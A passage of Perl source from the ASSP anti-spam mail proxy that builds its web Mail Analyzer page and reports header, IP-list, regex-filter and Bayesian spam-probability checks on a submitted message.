"<b><font color='red'>&bull;</font> IP $ip is in <a href='./#denySMTPConnectionsFrom'>denySMTPConnectionsFrom</a> ($ret)</b><br />\n";
         }


        if ( $ret = matchIP( $ip, 'denySMTPConnectionsFromAlways', 0, 1 ) ) {
                $fm .=
"<b><font color='red'>&bull;</font> IP $ip is in <a href='./#denySMTPConnectionsFromAlways'>denySMTPConnectionsFromAlways</a>($ret)</b><br />\n";
        }

        my @t;
        my %got = ();
        my $v;
		if (exists $Griplist{$ip3}) {
		    if ($Griplist{$ip3} !~ /$IPprivate/o) {
			    $v = $Griplist{$ip3};
			    $v = 0.01 if !$v;
			    $v = 0.99 if  $v == 1;
			}
		} else {
    		$v = 0.8 if $ip && $ip !~ /$IPprivate/o;
    	}
    	if ($griplist && ( !$mystatus ||  $mystatus eq "ip" )) {
            if ( $ispip  && matchIP( $ip, 'ispip', 0, 1 ) ) {
            	if ($ispgripvalue ne '') {
                    $v = $ispgripvalue;
                } else {
                    $v=$Griplist{x};
                }
            }

            $fm .= "<b><font color='gray'>&bull;</font> $ip3 has a Griplist value of $v</b><br />\n" if $v;

    	}
		
		push(@t,0.97) if $foundReceived <= 0;

        $fm =~ s/($IPRe)/my$e=$1;($e!~$IPprivate)?"<a href=\"javascript:void(0);\" title=\"take an action on that IP\" onclick=\"popIPAction('$1');return false;\">$1<\/a>":$e;/goe;
        $fm =~ s/(')?($EmailAdrRe?\@$EmailDomainRe)(')?/"<a href=\"javascript:void(0);\" title=\"take an action on that address\" onclick=\"popAddressAction('".&encHTMLent($2)."');return false;\">".&encHTMLent($1.$2.$3)."<\/a>";/goe;



        $fm .= "<br /><hr><br />";
        my ( $v, $lt, $t, %seen );
        while ( $mail =~ /([-\$A-Za-z0-9\'\.!\240-\377]+)/g ) {
        	next if length($1) > 20;
        	next if length($1) < 2;
        	$lt = $t;
        	$t  = BayesWordClean($1);
        	my $j = "$lt $t";
            next if $seen{$j}++ > 1;
            push( @t, $v ) if ($v = $Starterdb{$j}) or ($v = $Spamdb{$j}) ;
            mlog(0,"j = $j, v = $v");
            $got{$j} = $v if $v;
        }
		my $cnt       = 0;
        if (!$mystatus) {
        my $bayestext = "<font color='red'>&bull; Bayesian Check is disabled</font>"
          if !$DoBayesian;
        $ba .=
"<b><font size='3' color='#003366'>Bayesian Analysis: $bayestext</font></b><br /><br /><table cellspacing='0' cellpadding='0'>";
        $ba .= "<tr>
  <td style=\"padding-left:5px; padding-right:5px; padding-top:5; padding-bottom:5; text-align:right; font-size:small;\"><b>Bad Words</b></td>
  <td style=\"padding-left:5px; padding-right:5px; padding-top:5; padding-bottom:5; text-align:left; font-size:small; background-color:#F4F4F4\"><b>Bad Prob&nbsp;</b></td>
  <td style=\"padding-left:20px; padding-right:5px; padding-top:5; padding-bottom:5; text-align:right; font-size:small;\"><b>Good Words</b></td>
  <td style=\"padding-left:5px; padding-right:5px; padding-top:5; padding-bottom:5; text-align:left; font-size:small; background-color:#F4F4F4\"><b>Good Prob</b></td>
  </tr>\n";
        foreach (
            sort { abs( $got{$b} - .5 ) <=> abs( $got{$a} - .5 ) }
            keys %got
          ) {
            my $g = sprintf( "%.4f", $got{$_} );
            if ( $g < 0.5 ) {
                $ba .= "<tr>
    <td style=\"padding-left:5px; padding-right:5px; padding-top:0; padding-bottom:0; text-align:right; font-size:small;\"></td>
    <td style=\"padding-left:5px; padding-right:5px; padding-top:0; padding-bottom:0; text-align:left; font-size:small; background-color:#F4F4F4\"></td>
    <td style=\"padding-left:20px; padding-right:5px; padding-top:0; padding-bottom:0; text-align:right; font-size:small;\">$_</td>
    <td style=\"padding-left:5px; padding-right:5px; padding-top:0; padding-bottom:0; text-align:left; font-size:small; background-color:#F4F4F4\">$g</td>
    </tr>\n";
              } else {
                $ba .= "<tr>
    <td style=\"padding-left:5px; padding-right:5px; padding-top:0; padding-bottom:0; text-align:right; font-size:small;\">$_</td>
    <td style=\"padding-left:5px; padding-right:5px; padding-top:0; padding-bottom:0; text-align:left; font-size:small; background-color:#F4F4F4\">$g</td>
    <td style=\"padding-left:20px; padding-right:5px; padding-top:0; padding-bottom:0; text-align:right; font-size:small;\"></td>
    <td style=\"padding-left:5px; padding-right:5px; padding-top:0; padding-bottom:0; text-align:left; font-size:small; background-color:#F4F4F4\"></td>
    </tr>\n";
              }
            last if $cnt++ > 20;
          }
        $ba .= "</td></tr></table>\n";
        @t  = sort { abs( $b - .5 ) <=> abs( $a - .5 ) } @t;
        @t=@t[0..($maxBayesValues - 1)];
        $st = "<br />Totals: ";
        foreach (@t) { $st .= sprintf( "%.4f ", $_ ) if $_; }
        $st .= "\n";
    	(my $p1, my $p2, my $c1, $SpamProb, $SpamProbConfidence) = BayesHMMProb(\@t);
		$SpamProbConfidence = 0 if @t < 2 && $t[0] eq '';
		$SpamProb = 0.8 if @t < 2 && $t[0] eq '';
        $st .=
"<br /><hr><br /><b><font size=\"3\" color=\"#003366\">Spam/Ham Probabilities:</font></b><br /><br />\n<table cellspacing=\"0\" cellpadding=\"0\">"
          if $baysConf;
        $st .=
"<br /><hr><br /><b><font size=\"3\" color=\"#003366\">Spam Probability:</font></b><br /><br />\n<table cellspacing=\"0\" cellpadding=\"0\">"
          if !$baysConf;
        $st .= sprintf(
" <tr><td style=\"padding-left:5px; padding-right:5px; padding-top:0; padding-bottom:0; text-align:right; font-size:small;\"><b>spamprobability</b>:</td><td style=\"padding-left:5px; padding-right:5px; padding-top:0; padding-bottom:0; font-size:small;\">%.4f</td></tr>\n",
            $p1 )
          if $baysConf;
        $st .= sprintf(
" <tr><td style=\"padding-left:5px; padding-right:5px; padding-top:0; padding-bottom:0; text-align:right; font-size:small;\"><b>hamprobability</b>:</td><td style=\"padding-left:5px; padding-right:5px; padding-top:0; padding-bottom:0; font-size:small;\">%.4f</td></tr>\n",
            $p2 )
          if $baysConf;
        $st .= sprintf(
" <tr><td style=\"padding-left:5px; padding-right:5px; padding-top:0; padding-bottom:0; text-align:right; font-size:small;\"><b>combined probability</b>:</td><td style=\"padding-left:5px; padding-right:5px; padding-top:0; padding-bottom:0; font-size:small;\">%.4f</td></tr>\n",
            $SpamProb )
          if $baysConf;
        $st .= sprintf(
" <tr><td style=\"padding-left:5px; padding-right:5px; padding-top:0; padding-bottom:0; text-align:right; font-size:small;\"><b>probability</b>:</td><td style=\"padding-left:5px; padding-right:5px; padding-top:0; padding-bottom:0; font-size:small;\">%.4f</td></tr>\n",
            $SpamProb )
          if !$baysConf;
        $st .= sprintf(
" <tr><td style=\"padding-left:5px; padding-right:5px; padding-top:0; padding-bottom:0; text-align:right; font-size:small;\"><b>bayesian confidence</b>:</td><td style=\"padding-left:5px; padding-right:5px; padding-top:0; padding-bottom:0; font-size:small;\">%.4f</td></tr>\n",
            $SpamProbConfidence )
          if $baysConf;
 		}
        $st .= " </table><br /></div><br />";
        $mail =~ s/([^\n]{70,84}[^\w\n<\@])/$1\n/g;
        $mail =~ s/\s*\n+/\n/g;
        $mail =~ s/<\/textarea>/\/textarea/ig;

      }
      
      $mail = $orgmail if $mystatus;
      $mail =~ s/\r//gos;

      my $h1 = $WebIP{$ActWebSess}->{lng}->{'msg500060'} || $lngmsg{'msg500060'};
      my $h2 = $WebIP{$ActWebSess}->{lng}->{'msg500061'} || $lngmsg{'msg500061'};
      my $h3 = $WebIP{$ActWebSess}->{lng}->{'msg500062'} || $lngmsg{'msg500062'};
      my $h4 = $WebIP{$ActWebSess}->{lng}->{'msg500063'} || $lngmsg{'msg500063'};

    <<EOT;
$headerHTTP
$headerDTDTransitional
$headers
<script type="text/javascript">
//<![CDATA[
function getInput() { return document.getElementById("mail").value; }
function setOutput(string) {document.getElementById("mail").value=string; }

function replaceIt() { try {
var findText = document.getElementById("find").value;
var replaceText = document.getElementById("replace").value;
setOutput(getInput().replace(eval("/"+findText+"/ig"), replaceText));
} catch(e){}}

//-->
//]]>
</script>
<div class="content">
<h2>ASSP Mail Analyzer</h2>
<div class="note"><small>$h1</small>
</div>

<p class="note" ><small>$h3
</small></p>
<br />
$fm$ba$st
<form action="" method="post">
    <table class="textBox">
        <tr>
            <td >
             <span style="float: left">Replace: <input type="text" id="find" size="20" /> with <input type="text" id="replace" size="20" /> <input type="button" value="Replace" onclick="replaceIt();" /></span>
            </td >
        </tr>
        <tr>
            <td class="noBorder" align="center">$h2<br />
            <textarea id="mail" name="mail" rows="10" cols="60" wrap="off">$mail</textarea>
            </td>
        </tr>
        <tr>
            <td class="noBorder" align="center"><input type="submit" name="B1" value=" Analyze " /></td>
        </tr>
    </table>
</form>
<br />
<p class="note" ><small>
<div class="textbox">
$h4</small></p>

</div>
</div>

$footers
<form name="ASSPconfig" id="ASSPconfig" action="" method="post">
  <input name="theButtonLogout" type="hidden" value="" />
</form>
</body></html>
EOT
}


sub cleanincFound {
    my $i = shift;
    $i =~ s/\<[^\>]+\>//go;
    return $i;
}



sub AnalyzeText {
    my $fh = shift;
    my $this = $Con{$fh};
    my @t;
    my $bombsrch;
    my $mBytes = $MaxBytes ? $MaxBytes : 10000;
    my @sips;

        my ( $ba, $st, $fm, %fm, %to, %wl, $ip, $ipnet, $helo, $text, $header, $received, $emfd );
    my $foundReceived = 0;
    my $mail = $this->{header};
    $mail =~ s/^.*?\n[\r\n\s]+//so;
    $mail =~ s/\r?\n/\r\n/gos;
    my $hl = getheaderLength(\$mail);
    my $mBytes = $MaxBytes ? $MaxBytes + $hl : 10000 + $hl;
    my $lm = length($mail);
    $mail = substr( $mail, 0, $mBytes );
    $fm = "analyze is restricted to a maximum length of $mBytes bytes\n" if $lm > $mBytes;
    if ($mail =~ /X-Assp-ID: (.+)/io) {
        $fm .= "ASSP-ID: $1\n";
    }
    if ($mail =~ s/X-Assp-Envelope-From:\s*($HeaderValueRe)//ios) {
        my $s = $1;
        &headerUnwrap($s);
        if ($s =~ /($EmailAdrRe\@$EmailDomainRe)/io) {
            $s = batv_remove_tag(0,lc $1,'');
            $fm{$s}=1;
            ($emfd) = $s =~ /\@([^@]*)/o;
        }
    }
    if ($mail =~ s/X-Assp-Recipient:\s*($HeaderValueRe)//ios) {
        my $s = $1;
        &headerUnwrap($s);
        if ($s =~ /($EmailAdrRe\@$EmailDomainRe)/io) {
            $s = batv_remove_tag(0,lc $1,'');
            $to{$s}=1;
        }
    }
    if (! scalar keys %to && $mail =~ s/X-Assp-Envelope-For:\s*($HeaderValueRe)//ios) {
        my $s = $1;
        &headerUnwrap($s);
        if ($s =~ /($EmailAdrRe\@$EmailDomainRe)/io) {
            $s = batv_remove_tag(0,$1,'');
            $to{lc $s}=1;
        }
    }
    my $bod  = $mail;
    my $sub = undef;
    my $wildcardUser = lc $wildcardUser;
    my $headerLen = index($mail,"\015\012\015\012");
    if ($headerLen > -1) {
        my $fhh;
        do {
           $fhh = rand(1000000);
        } while exists $Con{$fhh};
        &sigoffTry(__LINE__);
        $Con{$fhh}->{header} = $mail;
        $Con{$fhh}->{headerpassed} = 1;
        &makeSubject($fhh);
        $sub = $Con{$fhh}->{subject3} if defined $Con{$fhh}->{subject3};

        if (defined $sub) {
            headerUnwrap($sub);
            $sub =~ s/^fwd.\s//gio;
            $sub =~ s/^fw.\s//gio;
            $sub =~ s/^aw.\s//gio;
            $sub =~ s/^re.\s//gio;
            # remove the spam subject header addition if present
            my $spamsub = $spamSubject;
            if ($spamsub) {
                $spamsub =~ s/(\W)/\\$1/go;
                $sub     =~ s/$spamsub//gi;
            }
            $sub =~ s/\r//o;
        }
        delete $Con{$fhh};
        
    }
	if ($mail =~ /\nsubject: *($HeaderValueRe)/iso) {
        	$sub = substr($1,0,$maxSubjectLength);
        	headerUnwrap($sub);
            $sub =~ s/^fwd.\s//gio;
            $sub =~ s/^fw.\s//gio;
            $sub =~ s/^aw.\s//gio;
            $sub =~ s/^re.\s//gio;
            # remove the spam subject header addition if present
            my $spamsub = $spamSubject;
            if ($spamsub) {
                $spamsub =~ s/(\W)/\\$1/go;
                $sub     =~ s/$spamsub//gi;
            }
        }
    $header = "Subject: " . $sub . "\n" if $sub;

    $header .= $1 if $bod =~ /(X-Assp-ID: .*)/io;

    $header .= $1 if $bod =~ /(X-Assp-Tag: .*)/io;

    $header .= $1 if $bod =~ /(X-Assp-Envelope-From: .*)/io;

    $header .= $1 if $bod =~ /(X-Assp-Intended-For: .*)/io;

    $bod =~ s/X-Assp-Spam-Prob: .*\n//gio;
    if ( $bod =~ /\nReceived: /o ) {
        $bod =~ s/^.*?\nReceived: /Received: /so;
    } else {
        $bod =~ s/^.*?\n((\w[^\n]*\n)*Subject:)/$1/sio;
        $bod =~ s/\n> /\n/go;
    }
	$fm .= "removed all local X-ASSP- header lines for analysis\n"
        if ($mail =~ s/x-assp-[^()]+?:\s*$HeaderValueRe//gios);
    if ($mail) {
        my $name = $myName;
        $name =~ s/(\W)/\\$1/go;
        if ( $mail =~ /(?:^[\s\r\n]*|\r?\n)\s*ip\s*=\s*(\d+\.\d+\.\d+\.\d+|[0-9a-f:]+)/ios ) {
            $ip = $1;
        } else {

            while ( $mail =~ /Received: from.*?\(\[([0-9\.]+|[0-9a-f:]+).*?helo=(.{0,64})\)(?:\s+by\s+$myName)?\s+with/isgo ) {
                $ip = ipv6expand(ipv6TOipv4($1));
                $helo = $2;
                $foundReceived = -1;
            }
        }

        $fm .= "Connecting IP: $ip\n" if $ip;
        my $conIP = $ip;
        $ipnet = &ipNetwork($ip, 1);
        if ( $mail =~ /(?:^[\s\r\n]*|\r?\n)\s*helo\s*=\s*([^\r\n]+)/ios ) {
            $helo = $1;
        }
        $fm .= "Connecting HELO: $helo\n\n" if $helo;
        if ( $mail =~ /(?:^[\s\r\n]*|\r?\n)\s*text\s*=\s*(.+)/ios ) {
            $text = $1;
        } else {
            $text = $mail;
        }
                if ($ispHostnames) {
            my $ispHost;
            while ( $mail =~ /(Received:\s+from\s+(?:([^\s]+)\s)?(?:.+?)($IPRe)(.{1,80})by.{1,20}($ispHostnamesRE))/gis)
            {
                $helo     = $2;
                $received = $1;
                $ispHost = $4;
                $ip = ipv6expand(ipv6TOipv4($3));
                $ipnet = &ipNetwork($ip, 1);
                $foundReceived = 1;

            }
            $fm =~ s/(Connecting IP: [^\n]+)/$1 is an ISPIP/o;
            $fm =~ s/(Connecting HELO: [^\n]+)/$1 is HELO from ISP-host: $ispHost/o;
            $fm .= "\nISP/Secondary Header:'$received'\n"    if $received;
            $fm .= "Switched to ISP/Secondary IP: '$ip'\n\n" if $received;
        }
        if ($foundReceived <= 0) {
            $foundReceived += () = $mail =~ /(Received: from )/isgo;
            $fm .= "no foreign received header line found\n\n"
              if ($foundReceived <= 0) ;
        }


        
        $fm .= "general hints:\n\n$fm\n\n" if $fm;
        $fm .= "sender and reply addresses:\n";
        my $mailfrom;
        foreach (keys %fm) {
            $fm .=  "MAIL FROM: $_ ,";
            $mailfrom = $_;
        }
        while ($mail =~ /(?:^|\n)(from|sender|reply-to|errors-to|list-\w+|ReturnReceipt|Return-Receipt-To|Disposition-Notification-To):($HeaderValueRe)/igos) {
            my $who = $1;
            my $s = $2;
            &headerUnwrap($s);
            while ($s =~ /($EmailAdrRe\@$EmailDomainRe)/go) {
                my $ss = batv_remove_tag(0,$1,'');
                $fm{lc $ss}=1;
                $fm .=  " $who: $ss ,";
            }
        }
        $fm =~ s/,$/\n\n/o;


        $fm .= "recipient addresses:\n";
        foreach (keys %to) {
            $fm .=  "RCPT TO: $_ ,";
            my $newadr = RcptReplace($_,$mailfrom,'RecRepRegex');
            $fm =~ s/,$/(replaced with $newadr),/o if lc($newadr) ne lc $_;
        }
        while ($mail =~ /(?:^|\n)(to|cc|bcc):($HeaderValueRe)/igos) {
            my $who = $1;
            my $s = $2;
            &headerUnwrap($s);
            while ($s =~ /($EmailAdrRe\@$EmailDomainRe)/go) {
                my $ss = batv_remove_tag(0,$1,'');
                $to{lc $ss}=1;
                $fm .=  " $who: $ss ,";
            }
        }
        $fm =~ s/,$/\n\n/o;

        $fm .= "Feature Matching:\n\n";

        while ( $mail =~ /($EmailAdrRe\@$EmailDomainRe)/go ) {
            my $ad    = lc $1;
#            my $mf   = $ad;
            my $mf = batv_remove_tag(0,$ad,'');
            my $mfd  = $1 if $mf =~ /\@(.*)/;
            my $mfdd = $1 if $mf =~ /(\@.*)/;
            next if $fm{$ad}++;

            if (matchSL( $mf, 'noProcessing' )) {
                $fm .= "noProcessing: '$slmatch'\n";
              }
            if ( $noProcessingDomains && $mf =~ /($NPDRE)/ ) {
                $fm .= "noProcessingDomains: '$1'\n";
              }
            if ( matchSL( $mf, 'noProcessingFrom' ) ) {
                $fm .= "noProcessingFrom Address: '$slmatch'\n";
              }
            if ($blackListedDomains && $mf =~ /($BLDRE)/ ) {
                $fm .= "blackListedDomains: '$1'\n";
              }
            if ($whiteListedDomains && $mf =~ /($WLDRE)/ ) {
                $fm .= "whiteListedDomains: '$1'\n";
              }

            $fm .= "Redlist: '$ad'\n"
              if $Redlist{$ad};
            $fm .= "Redlisted Domain/ Wildcard: '$wildcardUser$mfdd'\n"
              if $Redlist{"$wildcardUser$mfdd"};
            $fm .= "Whitelisted WildcardDomain: '$wildcardUser$mfdd'\n"
              if &Whitelist("$wildcardUser$mfdd");

            if (&Whitelist($ad)) {
                $fm .= "Whitelist: '$ad'\n";
                foreach my $t (sort keys %to) {
                    if (! &Whitelist($ad,$t)) {
                        $fm .= "Whitelist removed for $t: '$ad'\n";
                    }
                }
            }

            foreach my $t (sort keys %to) {
                $fm .= "on personal Blacklist for $t: '$ad'\n"
                    if exists $PersBlack{lc "$t,$ad"};
            }

            $fm .= "No URIBL sender: '$mf'\n"
              if matchSL( $mf, 'noURIBL' );
        }
    }
    
    if ( $preHeaderRe && $text =~ /($preHeaderReRE)/ ) {

        $fm .= "preHeaderRe: '".($1||$2)."\n";
        $bombsrch = SearchBomb( "preHeaderRe", ($1||$2) );
        $fm .= " matching preHeaderRe(" . &cleanincFound($incFound) . "): '$bombsrch'\n"
          if $bombsrch;
    }
    if ( $noSPFRe && $text =~ /($noSPFReRE)/ ) {

        $fm .= "No SPF RE: '".($1||$2)."'\n";
        $bombsrch = SearchBomb( "noSPFRe", ($1||$2) );
        $fm .= " matching noSPFRe(" . &cleanincFound($incFound) . "): '$bombsrch'\n"
          if $bombsrch;
    }
    if ( $strictSPFRe && $text =~ /($strictSPFReRE)/ ) {

        $fm .= "Strict SPF RE: '".($1||$2)."'\n";
        $bombsrch = SearchBomb( "strictSPFRe", ($1||$2) );
        $fm .= " matching strictSPFRe(" . &cleanincFound($incFound) . "): '$bombsrch'\n"
          if $bombsrch;
    }
    if ( $blockstrictSPFRe && $text =~ /($blockstrictSPFReRE)/ ) {

        $fm .= "Block Strict SPF RE: '".($1||$2)."'\n";
        $bombsrch = SearchBomb( "blockstrictSPFRe", ($1||$2) );
        $fm .= " matching blockstrictSPFRe(" . &cleanincFound($incFound) . "): '$bombsrch'\n"
          if $bombsrch;
    }
    if ( $whiteRe && $text =~ /($whiteReRE)/ ) {

        $fm .= "White RE: '".($1||$2)."'\n";
        $bombsrch = SearchBomb( "whiteRe", ($1||$2) );
        $fm .= " matching whiteRe(" . &cleanincFound($incFound) . "): '$bombsrch'\n"
          if $bombsrch;
    }
    if ( $redRe && $text =~ /($redReRE)/ ) {

        $fm .= "Red RE: '".($1||$2)."'\n";
        $bombsrch = SearchBomb( "redRe", ($1||$2) );
        $fm .= " matching redRe(" . &cleanincFound($incFound) . "): '$bombsrch'\n" if $bombsrch;
    }
    if ( $npRe && $text =~ /($npReRE)/ ) {

        $fm .= "No Processing RE: '".($1||$2)."'\n";
        $bombsrch = SearchBomb( "npRe", ($1||$2) );
        $fm .= " matching npRe(" . &cleanincFound($incFound) . "): '$bombsrch'\n" if $bombsrch;
    }
    if (   $baysSpamLoversRe
        && $text =~ /($baysSpamLoversReRE)/ )
    {

        $fm .= "Bayes Spamlover RE: '".($1||$2)."'\n";
        $bombsrch = SearchBomb( "baysSpamLoversRe", ($1||$2) );

        $fm .= " matching baysSpamLoversRe(" . &cleanincFound($incFound) . "): '$bombsrch'\n"
          if $bombsrch;
    }
    if ( $SpamLoversRe && $text =~ /($SpamLoversReRE)/ ) {

        $fm .= "SpamLoversRe: '".($1||$2)."'\n";
        $bombsrch = SearchBomb( "SpamLoversRe", ($1||$2) );
        $fm .= " matching SpamLoversRe(" . &cleanincFound($incFound) . "): '$bombsrch'\n"
          if $bombsrch;
    }
	

    if ( $testRe && ($bombsrch = SearchBombW( "testRe", \$text ))) {
        if ( !$DoTestRe ) {
            $fm .= "testRE is disabled because DoTestRe is disabled\n";
        }
        $fm .= "testRe: '$bombsrch'\n";
        $fm .= " matching testRe(" . &cleanincFound($incFound) . "): '$weightMatch'\n";
    }

    if (   $contentOnlyRe
        && $text =~ /($contentOnlyReRE)/ )
    {

        $fm .= "Restrict to Content Only RE<: '".($1||$2)."'\n";
        $bombsrch = SearchBomb( "contentOnlyRe", ($1||$2) );
        $fm .= " matching contentOnlyRe(" . &cleanincFound($incFound) . "): '$bombsrch'\n"
          if $bombsrch;
    }

    my $textheader;
    if ($headerLen > -1 ) {
        $textheader = substr($text,0,$headerLen);
    } else {
        $textheader = $text;
    }

    if ( $bombRe && ($bombsrch = SearchBombW( "bombRe", \$text ))) {
        if ( !$DoBombRe ) {
            $fm .= "BombRe is disabled because DoBombRe is disabled\n";
        }
        $fm .= "BombRe: '$bombsrch'\n";
        $fm .= " matching bombRe(" . &cleanincFound($incFound) . "): '$weightMatch'\n";
    }
    if (   $bombDataRe
        && ($bombsrch = SearchBombW( "bombDataRe", \$text )) )
    {
        if ( !$DoBombRe ) {
            $fm .= "BombDataRE is disabled because DoBombRe is disabled\n";
        }
        $fm .= "BombData RE: '$bombsrch'\n";
        $fm .= " matching bombDataRe(" . &cleanincFound($incFound) . "): '$weightMatch'\n";
    }
    if (   $bombHeaderRe
        && ($bombsrch = SearchBombW( "bombHeaderRe", \$textheader )) )
    {
        if ( !$DoBombHeaderRe ) {
            $fm .= "BombHeaderRE is disabled\n";
        }
        $fm .= "BombHeader RE: '$bombsrch'\n";
        $fm .= " matching bombHeaderRe(" . &cleanincFound($incFound) . "): '$weightMatch'\n";
    }
    if (   $bombSubjectRe
        && defined $sub
        && ($bombsrch = SearchBombW( "bombSubjectRe", \$sub )))
    {
        if ( !$DoBombHeaderRe ) {
            $fm .= "BombSubjectRE is disabled because DoBombHeaderRe is disabled\n";
        }
        $fm .= "BombSubject RE: '$bombsrch'\n";
        $fm .= " matching bombSubjectRe(" . &cleanincFound($incFound) . "): '$weightMatch'\n";
    }
    if (   $bombCharSets
        && ($bombsrch = SearchBombW( "bombCharSets", \$textheader )))
    {
        if ( !$DoBombHeaderRe ) {
            $fm .= "BombCharsets is disabled because DoBombHeaderRe is disabled\n";
        }
        $fm .= "BombCharsets: '$bombsrch'\n";
        $fm .= " matching bombCharSets(" . &cleanincFound($incFound) . "): '$weightMatch'\n";
    }
    if (   $bombSuspiciousRe
        && ($bombsrch = SearchBombW( "bombSuspiciousRe", \$text )))
    {
        $fm .= "BombSuspiciousRe RE: '$bombsrch'\n";
        $fm .= " matching bombSuspiciousRe(" . &cleanincFound($incFound) . "): '$weightMatch'\n";
    }

    if ( $blackRe && ($bombsrch = SearchBombW( "blackRe", \$text ))) {
        if ( !$DoBlackRe ) {
            $fm .= "BlackRE is disabled\n";
        }
        $fm .= "Black RE: '$bombsrch'\n";
        $fm .= " matching blackRe(" . &cleanincFound($incFound) . "): '$weightMatch'\n";
    }
    if (   $scriptRe
        && ($bombsrch = SearchBombW( "scriptRe", \$text )))
    {
        $fm .= "Script RE: '$bombsrch'\n";
        $fm .= " matching scriptRe(" . &cleanincFound($incFound) . "): '$weightMatch'\n";
    }
    if (   $bombSenderRe
        && ($bombsrch = SearchBombW( "bombSenderRe", \$textheader )))
    {
        $fm .= "BombSender RE: '$bombsrch'\n";
        $fm .= " matching bombSenderRe(" . &cleanincFound($incFound) . "): '$weightMatch'\n";
    }
    my $cOK;
    ($mail,$cOK) = &clean( $mail );
    $mail =~ s/^helo:\s*\nrcpt\s*\n//o;

    if ($helo) {
        $fm .= "HELO Blacklist: '$helo'\n" if ( $HeloBlack{ lc $helo } );
        $fm .= "HELO Blacklist Ignore: '$helo'\n"
          if ( $heloBlacklistIgnore && $helo =~ /$HBIRE/ );

            if (   $invalidFormatHeloRe && $helo !~ /$validFormatHeloReRE/
            && ($bombsrch = SearchBombW( "invalidFormatHeloRe", \$helo )))
        {
            $fm .= "Invalid Format of HELO: '$bombsrch'\n";
            $fm .= " matching invalidFormatHeloRe(" . &cleanincFound($incFound) . "): '$weightMatch'\n";
        }
    }

    if ( exists $PBBlack{$ip} ) {
        my ( $ct, $ut, $pbstatus, $value, $sip, $reason ) =
          split( ' ', $PBBlack{$ip} );
        push( @t, 0.97 );

        $fm .= "IP $ip is in PB Black: score:$value, last event - $reason\n";
    }
    if ( exists $PBWhite{$ip} ) {
        my ( $ct, $ut, $pbstatus, $sip, $reason ) = split( ' ', $PBWhite{$ip} );
        push( @t, 0.03 );

        $fm .= "IP $ip is in PB White\n";
    }
    my $ret;
    if ( $ret = matchIP( $ip, 'noProcessingIPs', 0, 1 ) ) {
        $fm .= "IP $ip is in noProcessing IPs ($ret)\n";
    }
    if ( $ret = matchIP( $ip, 'whiteListedIPs', 0, 1 ) ) {
        $fm .= "IP $ip is in whiteListed IPs ($ret)\n";
    }
    if ( $ret = matchIP( $ip, 'noPB', 0, 1 ) ) {
        $fm .= "IP $ip is in noPB IPs ($ret)\n";
    }
    foreach my $iip (@sips) {
        if ( exists $RBLCache{$iip} ) {
            my ( $ct, $mm, $status, @rbllists ) = split( ' ', $RBLCache{$iip} );
            $mm = '20'.$mm.':00';
            $mm =~ s/\// /o;
            $status = ( $status == 2 ? 'as ok at '.$mm : "as not ok at $mm , listed by @rbllists" );
            $fm .= "IP $iip is in DNSBLCache: inserted $status\n";
        }
    }
    if ( exists $SPFCache{"$ip $emfd"} ) {
        my ( $ct, $result, $domain ) = split( ' ', $SPFCache{"$ip emfd"} );
        $fm .= "IP $ip is in SPFCache: $result, $domain\n";
    }
    if ( exists $MXACache{$emfd} ) {
        my ($ct,$status) = split(' ',$MXACache{$emfd},2);
        $fm .= "domain $emfd has valid MXA record: $status\n";
    }

    if ( exists $PTRCache{$ip} ) {
        my ( $ct, $status, $dns ) = split( ' ', $PTRCache{$ip} );
        my %statList = (
            1 => 'no PTR',
            2 => "PTR OK - $dns",
            3 => "PTR NOTOK - $dns"
        );
        $status = $statList{$status};
        $fm .= "IP $ip is in PTRCache: status=$status\n";
    }
    if ( exists $RWLCache{$ip} ) {
        my ( $ct, $status) = split( ' ', $RWLCache{$ip} );
        my %statList = (
            1 => 'tusted',
            2 => 'trusted but RWLminHits not reached',
            3 => 'trusted and whitelisted',
            4 => 'not listed'
        );
        $status = $statList{$status};
        $fm .= "IP $ip is in RWLCache: $status \n";
    }
    if ( exists $SBCache{$ip} ) {
        my ( $ct, $status, $data  ) = split( '!', $SBCache{$ip} );
        my %statList = (
            0 => 'not classified',
            1 => 'black country',
            2 => 'white SenderBase',
            3 => 'changed to black country'
        );
        $status = $statList{$status};
        $data =~ s/\|/,/og;
        $fm .= "IP $ip is in CountryCache: status=$status, data=$data\n";
    }
    if ( $ret = matchIP( $ip, 'acceptAllMail', 0, 1 ) ) {
        $fm .= "IP $ip is in Accept All Mail ($ret)\n";
    }
    if ( $ret = matchIP( $ip, 'ispip', 0, 1 ) ) {
        $fm .= "IP $ip is in ISP/Secondary MX Servers ($ret)\n";
    }
    foreach my $iip (@sips) {
        if ( $ret = matchIP( $iip, 'denySMTPConnectionsFrom', 0, 1 ) ) {
            $fm .= "IP $iip is in denySMTPConnectionsFrom ($ret)\n";
        }
    }
    foreach my $iip (@sips) {
        if ( $ret = matchIP( $iip, 'denySMTPConnectionsFromAlways', 0, 1 ) ) {
            $fm .= "IP $iip is in denySMTPConnectionsFromAlways ($ret)\n";
        }
    }
    @t = ();
    my %got = ();
    my $v;

 	$ipnet = &ipNetwork($ip, 1);
	$ipnet =~ s/\.0$//o;
	if (exists $Griplist{$ipnet}) {
	    if ($Griplist{$ipnet} !~ /$IPprivate/o) {
		    $v = $Griplist{$ipnet};
		    $v = 0.01 if !$v;
		    $v = 0.99 if  $v == 1;
		}
	} else {
                $v = 0.8 if $ip;
        }
    if ($griplist) {
        if ( $ispip  && matchIP( $ip, 'ispip', 0, 1 ) ) {
            if ($ispgripvalue ne '') {
                $v = $ispgripvalue;
            } else {
                $v=$Griplist{x};
            }
        }


        $fm .= "$ipnet has a Griplist value of $v: \n" if $v;

    }

    $fm .= "\n";
    my ( $v, $lt, $t, %seen );
    while ( $mail =~ /([$BayesCont]{2,})/go) {
        	next if length($1) > 20;
        	next if length($1) < 2;
        	$lt = $t;
        	$t  = BayesWordClean($1);
        	my $j = "$lt $t";
            next if $seen{$j}++ > 1;
            push( @t, $v ) if ($v = $Starterdb{$j}) or ($v = $Spamdb{$j}) ;
            mlog(0,"j = $j, v = $v");
            $got{$j} = $v if $v;
    }
    my $cnt = 0;
    my $bayestext; $bayestext = "Bayesian Check is disabled" if !$DoBayesian;
    $ba .= "Bayesian Analysis: $bayestext\n";
    $ba .= "Bad Words:Bad Prob\t\t\tGood Words:Good Prob\n";
    foreach ( sort { abs( $got{$main::b} - .5 ) <=> abs( $got{$main::a} - .5 ) } keys %got )
    {
        my $g = sprintf( "%.4f", $got{$_} );
        if ( $g < 0.5 ) {

            $ba .= "\t\t\t\t\t\t$_:$g\n";
        } else {
            $ba .= "$_:$g\n";
        }
        last if $cnt++ > 20;
    }

    $ba .= "\n";
    @t  = sort { abs( $main::b - .5 ) <=> abs( $main::a - .5 ) } @t;
